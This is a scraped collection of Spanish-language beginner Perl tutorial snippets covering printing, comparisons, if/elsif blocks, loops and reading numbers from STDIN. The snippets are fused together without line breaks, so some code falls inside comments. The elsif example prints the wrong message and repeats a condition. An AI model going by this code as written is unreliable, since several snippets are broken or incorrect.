print "Trata los numeros como cadena: $n1$n2\n"; # devolvera 85
print $c1 + $c2 . "\n"; # devolvera 10my $var = 1;
$var++; # Incremento en uno el valor de la variable
print $var . "\n";
$var--; # Decremento en uno de valor de la variable
print $var . "\n";open(FILE,"archivo.txt") || die("No se puedo abrir el archivo");#!/usr/bin/perl
my $var = 1;
if ($var == 1) # sentencia if
{
# si $var es igual a uno se ejecuta lo que esta aqui
print "\$var es igual a 1\n";
}else{
# si no es igual a uno se ejecuta esto
print "\$var NO tiene valor 1\n";
}
system("PAUSE"); # con system enviamos comandos al sistema#!/usr/bin/perl
my $var = 1;
print "$var\n";
print "\$var\n";
system("PAUSE"); if (Comparacion) # se realiza la comparacion
{
}elsif (comparacion) # si no se cumple la de arriba se vuelve a ralizar otra comparacion
{
}elsif (Comparacion) # Si no se cumple la de arriba de vuelve a realizar otra comparacion
{
}else{ # Si no se cumple ninguna de las anteriores se ejecuta esta
}#!/usr/bin/perl
my $var = 1;
if ($var == 2) # se realiza la comparacion
{
print "Es igual a 2\n";
}elsif ($var == 3) # si no se cumple la de arriba se vuelve a ralizar otra comparacion
{
print "Es igual a 2\n";
}elsif ($var == 3) # Si no se cumple la de arriba de vuelve a realizar otra comparacion
{
print "Es igual a 2\n";
}else{ # Si no se cumple ninguna de las anteriores se ejecuta esta
print "No es igual a ninguna de las anteriores\n";
}
system("PAUSE");my $c1 = "hola";
my $c2 = "adios";
my $n1 = 1;
my $n2 = 2;
if ($c1 eq $c2) # sentencia CORRECTA
{
# Si son iguales de ejecuta
}
if ($c1 == $c2) # sentencia ERRONEA
{
# Si son iguales de ejecuta
}
if ($n1 eq $n2) # sentencia ERRONEA
{
# Si son iguales de ejecuta
}
if ($n1 == $n2) # sentencia CORRECTA
{
# Si son iguales de ejecuta
}for (my $i = 0; $i<10; $i++) # se repite 10 veces
{
print "$i \n";
}for my $i (1..10) # Se repite 10 veces
{
print "$i\n";
}while (1)
{
print "while!\n";
}my $i = 0;
my $num = 0;
while ($i<3)
{
$num = $num + <STDIN>;
#$num += <STDIN>; # esta linea hace exáctamente lo mismo que lo de arriba.
$i++;
}
print "Suma totalde los numeros: $num\n"; Introduzca fila 1: 2 5 3 4 5
Introduzca fila 2: 2 6 8 4 5
Introduzca fila 3: 9 8 3 5 2
Introduzca fila 4: 5 3 8 5 6
Introduzca fila 5: 0 1 4 3 4
Totales filas : 19 25 27 27 12
Totales columnas : 18 23 26 21 22